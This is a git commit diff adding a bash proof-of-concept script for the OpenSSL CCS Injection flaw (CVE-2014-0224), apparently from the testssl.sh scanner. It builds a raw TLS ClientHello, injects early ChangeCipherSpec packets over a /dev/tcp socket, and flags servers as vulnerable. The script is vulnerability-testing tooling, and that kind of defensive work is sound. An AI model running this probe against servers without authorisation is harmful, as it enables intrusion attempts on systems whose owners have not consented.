summaryrefslogtreecommitdiffstats
path: root/utils/ccs-injection.bash
diff options
context:
space:
mode:
Diffstat (limited to 'utils/ccs-injection.bash')
-rwxr-xr-xutils/ccs-injection.bash356
1 files changed, 356 insertions, 0 deletions
diff --git a/utils/ccs-injection.bash b/utils/ccs-injection.bash
new file mode 100755
index 0000000..3cd7c26
--- /dev/null
+++ b/utils/ccs-injection.bash
@@ -0,0 +1,356 @@
+#!/usr/bin/env bash
+
+# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224),
+# see https://www.openssl.org/news/secadv_20140605.txt
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
+# thx Ramon de C Valle
+#
+# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+trap "cleanup" QUIT EXIT
+
+[ -z "$1" ] && exit 1
+
+NODE="$1"
+PORT="443"
+JABBERNODE=${JABBERNODE}
+SLEEP=2
+MAXSLEEP=10
+OCKREPLY=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-0}
+HELLO_READBYTES=${HELLO_READBYTES:-65535}
+
+TLSV=${2:-01}
+# TLS 1.0=x01 1.1=0x02, 1.2=0x3
+# the PoC contains per default only check for TLS1.0 as the is the least common denominator
+
+ccs_message="\x14\x03\x$TLSV\x00\x01\x01"
+
+client_hello="
+# TLS header ( 5 bytes)
+,x16, # Content type (x16 for handshake)
+x03, x$TLSV, # TLS Version
+x00, x93, # Length total
+# Handshake header
+x01, # Type (x01 for ClientHello)
+x00, x00, x8f, # Length client hello
+x03, x$TLSV, # TLS Version
+x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
+xf5, xa3, x89, xca, x7a, xd9, xb4, xab,
+x3f, xd3, x22, x21, x5e, xc4, x65, x0d,
+x1e, xce, xed, xc2,
+x00, # Session ID length
+x00, x68, # Cipher suites length
+ xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+ xc0, x12,
+ xc0, x11,
+ xc0, x10,
+ xc0, x0f,
+ xc0, x0e,
+ xc0, x0d,
+ xc0, x0c,
+ xc0, x0b,
+ xc0, x0a,
+ xc0, x09,
+ xc0, x08,
+ xc0, x07,
+ xc0, x06,
+ xc0, x05,
+ xc0, x04,
+ xc0, x03,
+ xc0, x02,
+ xc0, x01,
+ x00, x39,
+ x00, x38,
+ x00, x37,
+ x00, x36,
+ x00, x35,
+ x00, x34,
+ x00, x33,
+ x00, x32,
+ x00, x31,
+ x00, x30,
+ x00, x2f,
+ x00, x16,
+ x00, x15,
+ x00, x14,
+ x00, x13,
+ x00, x12,
+ x00, x11,
+ x00, x10,
+ x00, x0f,
+ x00, x0e,
+ x00, x0d,
+ x00, x0c,
+ x00, x0b,
+ x00, x0a,
+ x00, x09,
+ x00, x08,
+ x00, x07,
+ x00, x06,
+ x00, x05,
+ x00, x04,
+ x00, x03,
+ x00, x02,
+ x00, x01, # TLS_RSA_WITH_NULL_MD5
+ x01, x00" # compression methods length (1) + Compression method(1)
+
+#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
+
+
+parse_hn_port() {
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+ echo -e "\n===> connecting to $NODE:$PORT\n"
+}
+
+debugme() {
+ [[ $DEBUG -ge 2 ]] && "$@"
+}
+
+
+wait_kill(){
+ pid=$1
+ maxsleep=$2
+ while true; do
+ if ! ps $pid >/dev/null ; then
+ return 0 # didn't reach maxsleep yet
+ fi
+ sleep 1
+ maxsleep=$((maxsleep - 1))
+ test $maxsleep -eq 0 && break
+ done # needs to be killed:
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ return 3 # killed
+}
+
+
+starttls_just_read(){
+ echo "=== just read banner ==="
+ cat <&5 &
+ wait_kill $! $SLEEP
+}
+
+
+socksend() {
+ data=`echo $1`
+ echo "\"$data\""
+ echo -en "$data" >&5 &
+ sleep $SLEEP
+}
+
+sockread() {
+ [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
+ ret=0
+
+ ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
+ dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
+ wait_kill $! $maxsleep
+ ret=$?
+ SOCKREPLY=$(cat $ddreply)
+ rm $ddreply
+
+ return $ret
+}
+
+# arg1: string to send
+# arg2: possible success strings a egrep pattern, needed!
+starttls_line0() {
+ reply=$(mktemp /tmp/reply.XXXXXX) || return 7
+
+ debugme echo -e "\n=== sending \"$1\" ..."
+ echo -e "$1" >&5
+ dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
+ wait_kill $! $SLEEP
+ debugme echo "... received result: "
+ cat $reply
+ if [ -n "$2" ]; then
+ if grep -Eq "$2" $reply; then
+ debugme echo "---> reply matched \"$2\""
+ [ $DEBUG -eq 0 ] && rm $reply
+ return 0
+ else
+ debugme echo "---> reply didn't match \"$2\", see $reply"
+ fixme "STARTTLS handshake problem"
+ exit 1
+ fi
+ fi
+}
+
+
+starttls_line1() {
+ echo "$1" >&5
+ while true; do
+ read line <&5
+ echo $line
+ break
+ done
+}
+
+fixme(){
+ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
+}
+
+
+ok_ids() {
+ echo
+ tput bold; tput setaf 2; echo "ok -- something reset our ccs packets"; tput sgr0
+ echo
+ exit 0
+}
+
+fd_socket(){
+ local jabber=""
+
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+
+ case "$1" in # port
+ 21) # https://tools.ietf.org/html/rfc4217
+ starttls_just_read
+ starttls_line0 "FEAT" "211"
+ #starttls_line0 HELP "214"
+ starttls_line0 "AUTH TLS" "successful|234"
+ ;;
+ 25) # SMTP, see https://tools.ietf.org/html/rfc4217
+ starttls_just_read
+ starttls_line0 "EHLO testssl.sh" "220|250"
+ starttls_line0 "STARTTLS" "220"
+ ;;
+ 110) # POP, see https://tools.ietf.org/html/rfc2595
+ starttls_just_read
+ starttls_line0 "STLS" "OK"
+ ;;
+ 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
+ starttls_just_read
+ starttls_line0 "CAPABILITIES" "101|200"
+ starttls_line0 "STARTTLS" "382"
+ ;;
+ 143) # IMAP, https://tools.ietf.org/html/rfc2595
+ starttls_just_read
+ starttls_line0 "a001 CAPABILITY" "OK"
+ starttls_line0 "a002 STARTTLS" "OK"
+ ;;
+ 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
+ fixme "LDAP: FIXME not yet implemented"
+ exit 1
+ ;;
+ 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
+ fixme "ACAP: FIXME not yet implemented"
+ exit 1
+ ;;
+ 5222) # XMPP, see https://tools.ietf.org/html/rfc6120
+ starttls_just_read
+ # following would be without hostname, jabber.org doesn't need it, others do!
+ #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
+ [ -z $JABBERNODE ] && JABBERNODE="$NODE"
+ # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
+ # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
+ jabber=$(cat <<EOF
+<?xml version='1.0' ?>
+<stream:stream
+xmlns:stream='http://etherx.jabber.org/streams'
+xmlns='jabber:client'
+to='$JABBERNODE'
+xml:lang='en'
+version='1.0'>
+EOF
+)
+ starttls_line0 "$jabber"
+ starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
+ # BTW: https://xmpp.net !
+ ;;
+ 443|995|993|465|*) # we don't need a special pre-command here
+ ;;
+ esac
+ echo
+}
+
+
+close_socket(){
+ exec 5<&-
+ exec 5>&-
+ return 0
+}
+
+cleanup() {
+ close_socket
+}
+
+
+#### main
+
+parse_hn_port
+fd_socket $PORT
+
+
+echo "##### sending standard client hello with TLS version 03,$TLSV:"
+socksend "$msg" $TLSV
+sleep 1
+
+sockread $HELLO_READBYTES
+echo "##### reading server hello ($HELLO_READBYTES bytes):"
+if test $DEBUG ; then
+ echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
+ echo "[...]"
+ echo
+fi
+if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
+ tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
+ exit 1
+fi
+
+
+echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)"
+socksend "$ccs_message" $TLSV || ok_ids
+sleep 1
+echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)"
+socksend "$ccs_message" $TLSV || ok_ids
+sleep 1
+
+sockread 65534
+echo
+echo "###### reply: "
+echo "============================="
+echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
+echo "============================="
+echo
+
+reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//')
+test $DEBUG || echo $reply_sanitized
+
+lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l)
+test $DEBUG || echo $lines
+
+if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
+ tput bold; tput setaf 2; echo "ok"; tput sgr0
+ ret=0
+else
+ tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+ ret=1
+fi
+
+
+echo
+exit $ret
+
+# vim:ts=5:sw=5:expandtab
+# $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $